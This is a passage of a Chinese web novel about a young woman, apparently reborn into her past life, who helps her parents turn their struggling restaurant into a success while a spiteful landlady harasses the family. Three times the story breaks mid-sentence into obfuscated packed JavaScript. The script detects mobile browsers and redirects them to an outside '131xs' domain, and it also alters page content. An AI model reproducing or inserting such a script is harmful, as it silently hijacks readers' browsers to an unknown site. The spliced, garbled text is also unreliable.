对比来说的话没有长期稳定的骑手总的来说也还是不方便，今天是实操的第一天，效果看起来倒是不错，开餐馆最重要的就是味道和口碑，其他的东西交给时间。 晚上堂食的生意会比中午要好些，这里有学校有写字楼，这个位置不在市中心但也离得不远，交通也方便，不少人都是在这附近租房，下班之后总有嫌做饭麻烦的会下馆子。 店里有几个某团骑手，都是中午送了餐之后慕名而来的。 杨逸今天中午送餐之后下午送餐速度加快了很多。 他想赶紧送完餐完成今天的kpi之后到苏厨小炒吃饭，今天中午他接了个电商公司的外卖订单，店铺名字有些眼生，想来是刚注册的店铺。 杨逸取餐的时候特意看了店铺的环境，杨逸就是现在网上的人常说的“外卖侠”。 前阵子他看到一家麻辣烫店，价格便宜大碗，优惠券基本上都叠满了。 也因为这个原因，那家店生意超级火爆，直到杨逸到了店铺之后彻底傻眼。 写着是堂食餐厅，实则堂食根本没人去，因为太脏了。 老板的后厨更是不忍直视，食材都不知道是冻了多少年的丸子肉，杨逸抢了几次这家的单子就有些受不了不愿意再送这样的餐。 后面几天他晚上跑单，总看到同一个地址，已经点这家麻辣烫点了有十几次。 杨逸于心不忍，就想抢单告诉这位素未谋面的兄弟。 过了几天，杨逸抢到了这个地址的订单，他给这个顾客发消息。 “你好兄弟，我看你点了很多次。” “这家很好吃吗？” 没有已读的标志，想来是没有看后台消息。 杨逸倒也没放弃，等餐品送达之后，杨逸给顾客打了个电话，是个女生。 “你好，我想问一下这家麻辣烫很好吃吗，我看你经常点。” 女生可能是有些惊讶，过了会才回复说：“我觉得...还不错。” 杨逸沉默片刻：“我觉得...还是尽量不要点了吧。” 电话那头的沉默震耳欲聋。 “我懂了，好了不用说了，谢谢你。” 杨逸放下餐品，转身走的时候，他仿佛听见了一个人悄悄心碎的声音。 后面这个女生给他发消息感谢他，杨逸没说太多别的，只让她不要暴露是自己告诉她这家店不干净的就行。 至此，杨逸养成了一个习惯，就是观察每一家送餐店铺的后厨，如果遇到不好的，他就会旁敲侧击的告诉这些顾客。 生活已经这么苦了，不能在吃方面也碰壁。 能救一个是一个嘛。 来到苏厨小炒，杨逸也是一样的先检查，却发现这家小炒出乎意料的干净，不仅是前厅，后厨更是肉眼可见的地方都锃亮，像是刚搬进来第一天开业的样子。 杨逸偷偷记了下来，等送了餐之后和拿到外卖的顾客说：“要是好吃的话你和我说一声呗，这家店可干净了，要是很好吃的话以后你可以经常点。” 杨逸心里觉得这家店不会差。 果然，他虽然还没收到那个顾客的回复，但一样地址的新订单同时来了三四单。 这坚定了杨逸的想法，下午一定要多干点活晚上来这里吃吃看。 于是他现在坐在这里，狼吞虎咽地吃着番茄炖牛腩。 怎么可以这么香，这么好吃，入口即化的牛腩像是在他的舌头上被炙烤着融化，饱满的油脂不腻唯有香和惊艳，简直太好吃了。 “老板，你们家几点关门啊？” 苏文正擦着桌子，听到这问题脸上带着笑：“小伙子，准备关门了喔，今天卖太好了，食材都没了。” 杨逸很心痛，他本来想再点一份回到自己出租屋吃的，现在看来只能等到明天才能吃到苏厨小炒的饭菜。 “那你们家正常营业的话一般是到几点结束？” 苏文接着回复，手上动作不停：“一般的话呢基本上都是晚上十点左右的时候关门，我今天看了我明天就知道要备多少食材合适，放心吧，明天够吃的，明天还会更新菜单，有不同的东西。” 听到这话，杨逸放心下来，老板都这么说，那十点之前来还能点到好吃的饭菜。 那他下午过来吃完东西之后晚上还能再买一份当宵夜。 ... 晚上的营业结束，晚上的点餐量没有中午的多，堪堪卖了三十份，不过这也是因为晚上的备菜量不足的原因。 今天干了一天，苏文觉得比往常更有劲了，即使今天的订单量是往日里的几倍这么多，但是心中有期望，有动力，为了未来而努力奋斗，再辛苦都不觉着累。 女儿这一招真行，光是今天一天就马上有了翻倍的收益。 苏文知道，这不仅仅是因为女儿的方法好，还是因为女儿的手艺好，这才能带动接下来更多的订单。 苏婉回家之后算了一下今天的账面。 今天售出93份餐，双拼36一份卖了30份，单独28一份卖了63份，今天的营业额是2844，刨除成本和房租水电，今天的纯利约莫是一千块钱，比起昨天足足翻了十倍！ 苏婉看到这个数据心里也很开心。 她虽然在父母面前说的很有底气，对自己的厨艺也有自信，可酒香也怕巷子深。 好在，这第一步算是稳稳的迈出去了。 如若后面一直都可以保持这个成绩甚至于说超越，就可以把厨房的空调安置下来，把大厅的二手空调给换了。 夏天的厨房燥的不得了，今天下午苏婉看着手机上显示的气温居然已经高达41度，苏婉真的热得不行。 再说大厅的空调，买的时候就是二手的，加之用了四年，本身就是三级能耗，省下来的这些钱全都被电费给扣没了。 苏婉看看日子，今天是六月二十七号，等再干完这几天的，到七月份就马上去买电器！ - 另一个房间的夫妻两，同样在算着今天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407132|184532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的营业额。 待林慧算出今天的纯利竟然是1000块钱之后，她不可置信地捂住嘴巴，把算好账目的计算器举到苏文面前。 “女儿真的厉害啊...这才一天...一天啊。” 苏文同样也很激动，嘴巴不停的蠕动就是说不出话来。 他没办法表达现在的心情，女儿毕业前还是有些叛逆的性子，结果这一次回家竟然这么懂事不说，厨艺还有了这么大的提升，现在竟然已经可以挑起家里的大梁了。 夫妻两对视，他们现在真的相信女儿所说，可以让自家饭店在江市立足，且越来越好。 除却对女儿的欣慰之外，夫妻俩眼里表露更多的，是对未来要努力拼搏的决心！ ... 苏婉在自己房间捣鼓着，她大学学的是设计专业，上辈子学厨之后荒废掉了。 在开了自己私厨餐厅之后，苏婉更希望能自己去设计店里的东西。 餐厅里的设计都是她重新捡回大学时期学的东西做出来的，所以现在她也有非常多的想法，技术倒也跟得上。 苏厨小炒的打包盒有些简陋，和一般的外卖包装一样，虽然没有那么差劲但是材质也算不得好，如若餐馆的影响力变大了之后，包装一定也会成为部分人所诟病的一部分。 苏婉希望能够在前期马上就改变，而不是等到体量真正变大了之后再做出改变。 目前来说有两款外卖材质是市面上比较好的，一款是PP5材质的，一款是植物纤维餐盒。 两款都有各自的好处，PP5耐热性比较好，能够微波加热，植物纤维的也有一定耐热性，但是没有办法微波加热，好处是比较环保，且颜值更高些。 PP5只是简单的透明餐盒，而植物纤维光是木浆白就已经很赏心悦目。 苏婉思虑过后，决定用植物纤维的餐盒，选定好餐盒款式和样式之后，苏婉就打算设计专属苏厨小炒的logo。 设计不需要有太复杂，一个简单的一家三口简笔画就可以，苏婉脑子里有了构想之后很快开始操作，到时候再定制同系列的包装袋和贴纸，整个外卖的套餐就显得有模有样。 店里的碗筷暂时不打算动，是一笔不小的花费，这个要更换的话也是要等到换到更大的店面之后。 这件事明天还需要和苏父苏母再商议，简单弄完之后，苏婉就开始考虑第二天的菜单。 手机上给苏父发着消息，明天要做红烧肉、擂椒皮蛋、麻辣干锅虾、红烧排骨。 相应需要的食材购置给苏父发过去之后，苏婉就打算休息了。 今天对苏婉的体力消耗无疑是巨大的，她现在的身体素质和上辈子的身体素质完全没法比，今天这么大的出餐量都是她一个人解决的。 就算苏父有帮忙炒菜但是大节奏都是苏婉亲自把控，回到家的时候身体其实已经是疲累到极致的这么一个状态。 明天的菜单本来是打算只有三个菜，考虑到擂椒皮蛋不会被所有人都喜欢，还是加了个红烧排骨。 红烧排骨卤料和红烧肉基本上没有特别大的差别，到时候卤料备量大一些就可以，不用两道菜分别配备，所以苏婉预估应该不会比今天要累太多，体力活可以交给苏父来干，或许会比昨天要轻松些... 5. 005 第二天六点出头，苏婉就出了门。 苏婉他们家住的这一片，是老城区里的巷子，住在这的多是本地人，更多的就是一些阿公阿婆。 离二中不远，但又好像和这边的现代化完全割裂开。 苏婉下楼的时间早，不少阿公阿婆都在巷子出口的小公园树荫下坐着乘凉、下棋、打太极。 见到面生的姑娘，总会好奇打量，阿婆们会不减音量的和旁边的人讨论着，这女娃是谁家的哦？感觉之前没怎么见过。 同样的，苏婉也没逃过这些热情的阿婆阿姨的问话。 见苏婉在一个人坐在没人坐的石凳上，一个四十岁左右年纪的阿姨走了过来， 带着笑，相当自来熟的样子在苏婉身边坐了下来：“啊哟小妹妹，我看你眼生哦，你是哪家的孩子？刚放暑假哦？” 苏婉指着巷子：“我住在巷尾倒数第三家，我刚大学毕业。” 苏婉说完，就盯着眼前阿姨的表情。 只见那阿姨眉头紧锁，作思考状，想了半晌。 忽地眉头舒展，恍然大悟。 “哦我知道了，你们家是租的老林婆的房子是吧，就是林钰。” 对苏婉来说，这倒不算是陌生的记忆，那房东令人印象深刻。 于是苏婉点点头：“我记得好像是这个房东阿姨。” 那阿姨的眼神瞬间变了，带着些怜悯，没再和苏婉过多交涉，只是告诉苏婉，自己是巷口右边便利店的老板，姓谢。 说完就走开，回到自己姐妹团身边。 苏婉没太关注她们那边，她只需要让她们知道，自己家租的谁家的房子就可以。 跟着旁边的阿公打了会太极拳，苏婉感觉内心平静了些许，回到家又睡了会。 - 谢阿敏向苏婉打探完，一脸神气。 “谁家孩啊？暑假过来玩的？” “啊哟，应该是哪家孩子刚放假。” .... 一群人叽叽喳喳猜了一通。 只见谢阿敏仰着个头没说话。 一旁坐着的骆美玲对着谢阿敏就翻了个白眼，没好气道：“哎哟快说行不行了啦，问了又要卖关子，最讨厌你这种人。” 谢阿敏看着她，一脸嗔怪：“着什么急咯，我发现你这个人就是急脾气的呀，我这不是在想怎么说嘛。” “这个姑娘不是我们本地的，是那对惨夫妻的女儿。” 骆美玲一脸奇怪：“哪对惨夫妻？” 这会轮到谢阿敏翻白眼了：“你这记性我都懒得说你。”转过身对着巷口，指着第一户人家，又像是怕被人发现她在背后议论，很快就收了回来。 “就是林钰的租户呗，巷尾倒数第三家，还租了林钰她家二中那边铺面的那夫妻俩。” 几人听到这话，面面相觑。 他们住的这个巷子，叫临水巷。 以前周遭的几个巷子，都围着二中那附近建了新居民楼和写字楼，唯独剩下临水巷，像是被遗忘一般。 刚刚讨论的林钰，就是在这临水巷有最多房子的人。 二中那条美食街苏婉他们家的餐馆，是林钰唯一一套在那边的门面。 江市是在苏婉大三那年升的一线，那之后，房价水涨船高。 独独临水巷的房子没有任何升值空间。 那林钰早前提前靠着家里关系，听到了些拆迁的风声，花高价买了几套临水巷的房子。 那时候买完几套房子之后，一群人问她是不是听到什么风声，一概不理，眼睛翻到天上去。 到公布之后，林钰气的脸青，成日关起门来，临水巷的这些居民自然对她也没多少可怜。 特别是那几户卖了房子给她的人家，还好是没拆，要是真拆了，林钰家门槛都得被这几户人家踏破。 只是二中这套门面，是她在听到消息之前就和苏家夫妻签下的长约。 现在只有这套门面是赚钱的，她自然对苏家百般看不顺眼。 时不时还上苏家闹，这是巷子里大多数人都知道的事情。 - 上午十点，苏婉到店。 林慧也刚到店里，她今天又去发了小卡片，还发到了稍微远些的地方。 苏文把食材都已经准备好了，就等女儿掌勺。 十一点时间一到，外卖软件开始营业。 店里的订单虽说不能形容成像雪花一样多，但比起前段时间来说，也是多了好几倍。 外卖机的订单提示音开始响起。 ... 景荣有限公司，设计部。 莫绘掐着十一点的营业时间点进苏厨小炒的外卖界面。 嚯，居然上新菜？ 莫绘虽然很怀念昨天中午的番茄炖牛腩和菠萝咕噜肉，但如果苏厨小炒是每天菜单不一样的这个模式的话那有不一样了。 再好吃的东西也怕吃腻，总不能吃一辈子这两道菜。 红烧肉...红烧排骨...擂椒皮蛋...干锅香辣虾... 莫绘不爱吃皮蛋，果断下单红烧排骨和干锅香辣虾的双拼套餐，依旧是备注就会送水。 坐旁边的冼语探头过来，由于还没到下班时间，说话声音非常小，贴着莫绘耳朵问着：“你今天中午点饭了吗？我打算吃你昨天吃的牛腩和咕咾肉。” 莫绘点点头又摇摇头：“我点了，他们家今天没做这俩菜，上了新的，你看着点吧，我点了排骨和虾。” “另外两道菜你要是爱吃点了我们可以换着吃，点一样也行。” 冼语对着莫绘比了个ok的手势，就把头收回去自己点餐去了。 ... 盛御大厦·速凛工作室 几个大男人搬着最后的一批公司物资，脱力把东西摔在了工作室门口地上。 “我c，真是不行了。” “我懂你兄弟，m的搬公司真tm累啊，这辈子再也不想搬公司了，除非是赚大钱了有人帮我们搬到大公司去！” 后面进来的成旬拍了拍他的肩：“会的。” 成旬环顾着这群四仰八叉的兄弟，无奈笑笑：“行了行了，打起精神，今天是搬公司的第一天，我请大家吃饭，不走公账！” 工作室内响起雷鸣般的掌声和起哄声。 “成总请客啊，那我要宰顿大的。” “就是啊，不吃顿好的都对不起我辛苦了一上午勤劳的双手。” “那个...” 一道声音弱弱从门口传来，众人朝他看去，陈成旭虚举着个手说着：“我看到门口有个小卡片，要不就吃这家...我想着新公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407133|184532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 司第一顿，刚好就看见它了..." 众人又朝他手里的卡片望了过去。 一时间没什么人说话。 随后，还是成旬打破了这诡异的安静氛围。 “行，就吃这家了，看到了说明和我们有缘，不好吃的话大不了明天再请你们吃顿别的。” 听成旬都这么说了，也没人有意见。 成旬拿过小卡片根据卡片上的内容订了餐，再把大家发在群里的代付订单一一付了款。 ... 店里，苏父正奋力抡着铲子。 这下订单真是像雪花般涌了过来。 外卖机的提示音滴滴嘟嘟一下子响了几十次，订单纸条也从机器里不断冒出。 林慧拿起一看，全都是同一个地址的订单。 后厨。 猛火灶大火炸出来的虾非常漂亮酥脆，腌制过的虾本身有着底味，再进行下一步制作之前，油炸的香味就已经香的人栽一跟头了。 另起一锅，勺一勺刚炸过虾的油，等油热放入豆瓣酱炒出红油，再放干辣椒、花椒和姜蒜爆香。 再放入苏婉自己调配好的秘制酱汁，大火炒香之后快速下入炸好的大虾，加入芹菜段、洋葱丝炒至断生。 出锅前放上适量白糖和生抽提鲜，再撒上白芝麻和葱段，快速翻炒均匀，一道干锅香辣虾就制作完成。 ... 中午订单多，红烧排骨和红烧肉这样的大菜都是让苏父来做，苏婉只在旁边负责调酱汁和提醒苏父什么时候放料，总的来说还是轻松很多。 中午杨逸来了好几趟，周遭苏厨小炒的订单能抢的他都抢了，抢了有五六份订单。 林慧对他有些眼熟，昨天下午他过来店里吃饭林慧有些印象，见杨逸的电动车和头盔上都有个手机架着，林慧有些好奇：“你怎么架了台手机在头上，重不重哦。” 杨逸有些腼腆地摇头：“不重不重，我跑单拍点视频，反正闲着的嘛，拍点视频发网上看看能不能赚点钱，剪剪视频说不定能当网红呢！” 林慧有些了解，她自己也会用热门的短视频软件刷视频，林慧朝杨逸竖了个大拇指：“很厉害，要坚持下来哦，期待看到你发的视频。” 杨逸挠挠头，有点不好意思。 他刚发了一个视频，点赞数量才二十几个。 他拍摄的系列主题是——《揭秘，你爱吃的外卖后厨长啥样？》 反正每天也跑外卖，不过就是架个手机的事情，不过杨逸也不是敢在所有的商家面前都暴露自己在拍摄的事情的。 他刚开始录制视频那天就是因为不注意，拍到一个全是预制菜的脏后厨，被老板发现之后直接被追着跑，还好杨逸没靠太近，不然他现在估计都被打的下不来床。 不过经过这件事情之后，杨逸更加坚定自己一定要拍摄这个系列的心，以后不仅在江市拍，还要去景川市拍、阳林市拍... 立志给大家找到干净、好吃的外卖店铺！ 想到这，杨逸拍拍胸脯，眼中都是对未来的憧憬：“姨，你放心吧，等我火了第一件事情就是告诉大家你们家的东西好吃！让大家都来你们店吃饭！” 刚打包好的林慧听这话,脸上是藏不住的笑意：“那我先提前谢谢你小伙子，你的餐拿好了啊，有点多。” 6. 006 盛御大厦·速凛工作室。 二十七份餐是由三个外卖员一起送过来的。 成旬看到外卖员到了门口，走到工作室门口指着门口的桌子：“麻烦各位，放在这里就可以。” 待外卖员都离开之后，成旬招呼着工作室的兄弟。 “行了，手上的活都放一放，准备开饭了！” 大家听到他这么说，虽然都放下手里正在做的事情，但都兴致缺缺。 这家店在外卖上居然是一家新店铺，前面的评价也说很一般，也就最近多了几条好评也不知道是不是商家怕没人点找人刷的。 这样的外卖就算吃又能好吃到哪里去？ ... 拿了自己的外卖之后，大家都回到了自己的工位上。 成旬对这家外卖其实也没有太多的期待，只不过... 既然提了这提议，公司第一个项目也才刚刚开始，不好伤了和气，不管是哪一边。 所以他端水，两边都满足。 等的时间也有些长，本来就累了一个上午，成旬打开外卖盒子的速度有些迫不及待。 外卖盒子是透明的，里面的菜品看起来还不错，色泽鲜亮，油光水滑的。 成旬点的双拼是红烧肉和香辣虾。 一开盖，香味扑鼻而来。 红烧肉晶莹剔透。五花肉块切得方正规整。 色泽是深沉的琥珀色，油光锃亮。 肥肉的地方胶质感满满，筷子轻轻一夹就被夹断，炖得十分软烂，还不需要尝，光是闻到味道，成旬就知道这红烧肉会有多么入味。 本就饥肠辘辘，这霸道的香气直直冲入鼻腔，成旬的胃开始抗议，不断叫嚣着，快把好吃的吃进肚子里！ 成旬没再犹豫，一口吃进去一大块红烧肉。 极致的口感和味道充斥着口腔。 红烧肉入口即化、肥而不腻。 感觉没怎么嚼，一入口就化成一滩滑进喉咙里。 一吃就可以感觉出来，这红烧肉经过了长时间的慢慢炖煮之后，肥肉的油脂被析出，口感糯而不腻，五花肉在进行炖煮之前也被处理的非常好。 瘦肉部分吸饱了汤汁，口感不柴不腻。 味道以咸鲜为基础，带着明显的回甜和醇厚的肉香。 勺一勺子餐盒最下面的酱汁，倒在饭上，又夹起一筷子的五花肉，一起送入口中。 香到极致的味道！成旬太震惊了，这小小餐馆做出来的红烧肉竟然比他去闲云阁吃的红烧肉还要好吃！ 成旬透过办公室透明的玻璃门看向外面人的反应。 此时的速凛工作室大厅已经乱成了一团。 “我去了，这也太好吃了。” “来我尝一口你的虾，给你一块红烧肉，你的虾大我的红烧肉就小了吗？别这么小气快点给我吃一口。” “这家餐馆牛啊，堪比大饭店做出来的味道了。” “哪里是堪比大饭店，明明是吊打大饭店好吗？我决定了，只要这家店以后都保持这个做菜的水准，我每天都在他们家订餐吃！” “我也是我也是，太香了！！！” “可以啊，你小子，眼睛尖，挑中这么一家好店。”陈楚萧拍了拍刚刚提意见的新人林默弧。 林默弧只是腼腆笑笑，挠了挠脑袋：“我也不知道这家店好吃...就是看到了想着说要不要试试，毕竟要在这呆很久。” 陈楚萧心情有些复杂，本来一开始他听到林默弧说吃小卡片饭馆的时候心里都无语透了，但想着是刚来的新人，老大也说了和谐相处。 自己是大学毕业之后就跟着成旬干的大学同学，总不能他先挑起矛盾吧？ 且一顿饭而已，也不是什么多大的事情，只不过吃到之前心里总会有些不舒服的感觉堵在心口。 吃到之后陈楚萧简直是被征服了，一定是现炒现做出来的味道！这五花肉切得又大又厚，一吃就是新鲜肉。 干锅虾更别说了，炸过的虾还能有食指大小和粗细，哪家的预制菜能做成这样他买一百份囤在家里！ ... 中午忙完之后，苏婉向父母提了自己设计logo和打算换外卖餐盒的事情。 林慧和苏文都没意见。 餐盒定了两个款式，双拼样式和三拼样式，双拼的样式就算是点单拼也用这个饭盒，三拼的饭盒就定的少些，后续上三拼的话可以用得上。 苏厨小炒家的餐品是没有赠送蔬菜的，完全是实打实的肉，就算像今天的菜里有擂椒皮蛋，价格也只和单拼的一样是28。 双拼的价格稍贵一些不是贵在麻烦，而是份量会更多些，尺码和单拼的不同，定成一样的盒子苏婉打算之后在单拼的套餐里可以加一些自己做的凉菜之类的... 一天忙活下来，又是极其忙碌的。 … 眼见着苏厨小炒这两天生意好了，王然自然是对他们服气。 这两天她也了解清楚了，不是苏文的厨艺有长进，而是他有个厉害的女儿回家了、 王然在自家沙县小吃店里，对着自己的老公李牧说着：“我觉着呀，咱隔壁苏家的女儿有主意。” 李牧叼着根烟，混不吝地站那点了火，吸了一口之后把烟拿下来，在烟灰缸旁边抖搂了一下，笑着：“你又怎么看出来了？” 王然捂着鼻子，嫌弃的白了他一眼：“说了多少次别在我面前抽烟？滚出去。” 李牧虽然有些混，但是怕老婆，王然这个脾气，俩人都爆可真不一定过得下去。 听到这话，李牧掐了烟丢进烟灰缸里，坐着示意自家媳妇接着说。 王然看他这样这才满意。 “你看呀，光是厨艺好，这苏厨小炒可不能短短几天的时间就做到订单涨了这么多，你看看林慧，这几天早上都见不到人，得到中午快饭点了才回店里帮忙，肯定干别的事情去了。” 李牧好奇：“那咋？我们偷偷跟着过去看看怎么做的我们也照做？” 王然又翻了个白眼。 没好气的说：“跟什么跟啊，把我当什么人了？” “他们是自家生意，当然要靠这种方式宣传自家生意，我们沙县本就是品牌生意，想吃的自然会点，这周遭也就我们这一家，你操什么心？” 李牧也有些不耐烦：“那你想说什么？怎么不一般？” 王然神秘兮兮：“反正啊，别得罪了，等到时候他们家人真多了起来，我们这周遭的哪家不能分点汤水喝？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407134|184532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 李牧这才恍然大悟但有觉得也没啥道理：“那你这说了跟没说，就是啥都不做呗，他们也不能因为关系一般不让顾客来吧，那成什么了？” 王然嗤笑：“那你知道什么，有我这思想的人可不是大多数。” ... 回到临水巷，是晚上八点。 今天的食材也提前卖空，所以提前关门。 苏婉和苏文商量了一下，店里人手实在不够，苏文负责在厨房打下手，处理食材都需要他来，时不时还需要做帮厨。 前厅的工作基本上都交给了林慧，打包、收拾卫生的事情基本上都是林慧包揽。 按店里现在的客流来说的话，出餐的份数已经是极限了。 虽然苏婉没说自己累，但是没人的时候苏文也经常看到自己的女儿揉着胳膊、甩手腕。 看得苏文一阵阵心疼。 当机立断说着，以后就营业到八点，干了这么多年的厨师开了这么多年的店，备菜多少他心里有数。 “我们以后营业时间就到八点，晚上没能轻松些之前都不干到十点了。” 苏婉听父亲这么说，心里开心极了。 她想起小时候的日子，发自内心地做了她这个年纪会做的事情。 把手举起来鼓掌，在苏文和林慧周围蹦蹦跳跳不停欢呼。 夫妻两人被苏婉逗的不行，也发自内心地笑出来，静静地看着苏婉撒欢。 ... 这种欢乐的氛围一直持续到巷口。 刚走进巷口，第一户的窗子突然就打开了。 从里面泼了一盆水出来，浇了林慧一身，本来这水会浇到苏婉身上，林慧眼疾手快，在窗子彻底打开之前就把苏婉拉到了身后。 “不是，你有病啊？” 苏婉有些不可置信，反应过来之后就对着窗口的人骂了一嘴。 那人也不恼，她房内没开灯，临水巷的路灯照着像是一个阴恻恻的女鬼。阴影打在脸上甚至面容都不怎么看得真切。 那中年女人泼完就把窗子关上了。 林慧和苏文两个人也对此没任何意见，只是拉着苏婉想要尽快地离开这里。 苏婉一脸不可置信：“她这么欺负人你们走什么啊？” “让她给你们道歉啊。” 林慧拉着苏婉，想让她别再说了。 巷子里隔音不好，平时邻里邻居的有什么夫妻不和吵架的，基本上稍微留意一下就能被听去个七七八八。 更别说苏婉这么大嗓门的嚷嚷，各家都没动静，各家估摸着都偷偷在听墙角。 苏婉拉开林慧的手，扯着嗓子喊：“谁家好人大晚上往窗外泼水啊？泼了别人一身也一句道歉的话都没有？” “你故意的吧你？我们惹你了吗？一点素质都没有，我们经过没声音也有人影吧？真泼水谁从窗口泼啊？” 林慧一脸央求的表情看着自家女儿，小声说着：“乖女儿...不要再说了...我们快走吧...回家洗澡睡觉好不好...累了一天了都。” 见母亲这个样子，苏婉更是气不打一处来。 可不想让母亲为难，苏婉还是闭了嘴，两人僵持了一会，正当苏婉抬腿想走的时候，那窗户又开了。 7. 007 这次更是二话没说又泼了一桶水。 还是温热的！四十多度的水温泼在身上已经是让人觉得灼热的程度！ 这次林慧没挡住，全泼在了苏婉的身上。 苏婉没来得及躲避，眼睛被水冲的都睁不开。 林慧见苏婉被泼了一身，总算是忍不住了。 可还没等林慧说话，苏文就把自己媳妇还有苏婉拉到了身后。 “林钰，我不说你不代表我怕了你，合同是四年前我们白纸黑字签好的，你有怨气我们也认，三番五次闹我们也全都接受，你现在是不是越做越过分了？” 那女人眼神狠厉，瘦弱的身体慢慢探出窗子，双手撑在窗边支撑着身体。 她咧开嘴，无声大笑，双眼死死地盯着苏文。 苏文被她盯得瘆得慌，可孩子和妻子都在身后看着，他不能退。 “我就是疯了！怎样！只要合同一天不到期，我就一天对你们没有好脸色！” 苏文正要开口，只听到巷口第二家有人走出来的响动。 是秦阿婆，她拄着拐颤颤巍巍地走出来。 林慧顾不得自己，快步走过去扶着。 秦阿婆任林慧扶着自己，用拐杖重重敲了两下地面。 “林钰，差不多就可以了，要闹到什么时候？” 看到秦阿婆，林钰没再接着发疯，用恶狠狠的眼神把苏家三口人都扫了一遍之后，退回房间里把窗子关了起来。 “谢谢你啊...秦阿婆...你帮了我们这么多次，我们都不知道怎么感谢你了...” 秦阿婆摆了摆手表示没关系，又把手搭在林慧扶着她的手上拍了两下：“我也就能唬住她一时半刻的，林钰这人好面子，之前买房赔了这么多钱，她的弟弟林城的话是她唯一会听的，但是我也没有办法联系上，除非是能联系上她弟，不然的话，她真要闹到你们退租为止。” “我也不能次次都帮你们，还是要彻底解决这件事情。” 说罢，秦阿婆转身朝自己的屋子走着，拒绝了林慧想要再次帮扶的动作，颤颤巍巍地回到家里关上门。 ... 一家人回到家着一路上都是沉默的。 林钰上辈子就来闹过，虽然没有什么很吓人的事情发生，但非常的恶心人。 苏婉上辈子在家里待着的那段时间几乎不出门，也是等到后面林钰上门闹苏婉才知道了这件事情的原委。 苏家人那会等到合同到期之后餐馆也没什么起色，索性直接回了老家，躲那林钰远远地。 苏婉只听说，上辈子他们离开后不久，林钰被查出有精神上的疾病，后面来的租客即使按照市价给的租金，也会被她上门骚扰。 那家人懂得和巷子里的人打通关系，林钰上门闹了一次之后就有人看不过眼帮他们打电话给林钰她弟，最后林钰被接走，也就没再闹过。 ... 苏婉深知临水巷的邻居们没有坏心思，不愿意为了暂时的租客去得罪林钰也是人之常情。 临水巷里也有很多好的老人家，周边开发之后，临水巷没有得到任何好处。 反倒是周围物价猛涨，导致临水巷的居民生活拮据。 ... 就这样过去了半个月的日子。 各大中小学开始陆续放假。 这段日子林慧没再去发新的小广告，店里的日利润也能稳定在500~700这个区间。 这天下午三点出头。 王然一脸自得地走进店里，彼时林慧正忙完店铺卫生，坐在收银的位置休息。 “王然，你怎么来了？下午没去打牌呀？” 王然坐在这里，本来只是想说这个消息。 苏家店里新装了防风帘，冷气也换了新的，坐在这就可舒服。 虽然打扫了卫生，但香味可没散。 王然咽了咽口水：“你们今天招牌是什么？我要一份双拼，打包啊！” 这几天好姐妹从淮市过来，天天缠着自己去打牌，都好几天没到店里了，所以也就好几天没吃苏厨小炒的饭。 王然馋啊...馋的一闻到这个味道就马上想再来一份。 林慧看她这个样子乐的不行：“你等等，今天是热炝鸡丝和梅菜扣肉，刚好有一份刚做好的，我给你拿过来。” 林慧很快回来，外卖餐盒里的鸡丝和扣肉看着就让人流口水。 王然忍住不去看这盒美味。 叫住了林慧。 “哎，慧啊，你过来我和你说个事情。” 林慧一头雾水。 “怎么了然姐？饭不好吃？” 王然摆摆手：“不是这事，我还没吃呢，是有好事情找你。” 林慧见她这样，也摸不着头脑，用围裙擦了擦手，顺势搬了个椅子过来也坐下。 王然凑过来，小声说：“最近中小学生不是刚放假吗，这美食街就冷清些。” 林慧点点头：“是啊，假期都这样。” 王然勾唇笑笑：“我家那个二妹，她办了个托管班，二中这边不少中小学生都去嘞，应该有三四十个学生的样子。” 林慧听到这抬起头，她已经知道王然想说什么，难掩的激动，手都在微微发颤。 王然一把握住林慧的手，继续往下说着：“我就想着吧，你们家的小炒做的这么好，我把你们介绍过去。” “她们只保证合作的店铺正规就可以，不会收合作费的，到时候你可以弄个群，提前一天在托管班的午餐群发第二天菜单，按需下单。” “当然哦，试三天，要是很多孩子不满意的话要换的哦，能不能把握住要看你们自己哦，我回头把联系方式发给你。” 说完，王然拿着饭就走。 “然姐...” 王然脚步没停，甚至有加速的意思，王然都走到门外了。 “然姐，我给你打包了一些我家婉做的小凉菜，你拿着回去吃。” 这句话成功让王然顿住了脚步。 这一口可是好段时间没吃到了。 林慧把东西送出来，见林慧还想接着说，王然装出一脸不耐烦的样子。 “你别整这样子，我实话和你说，按你家之前的水准我不带和你说这活的，机会掉下来了也要有能力接得住才行你说是不是？与其在这感谢我不如和你家那俩想想做什么菜色。” “以后有什么好事多想着点我就行，走了啊 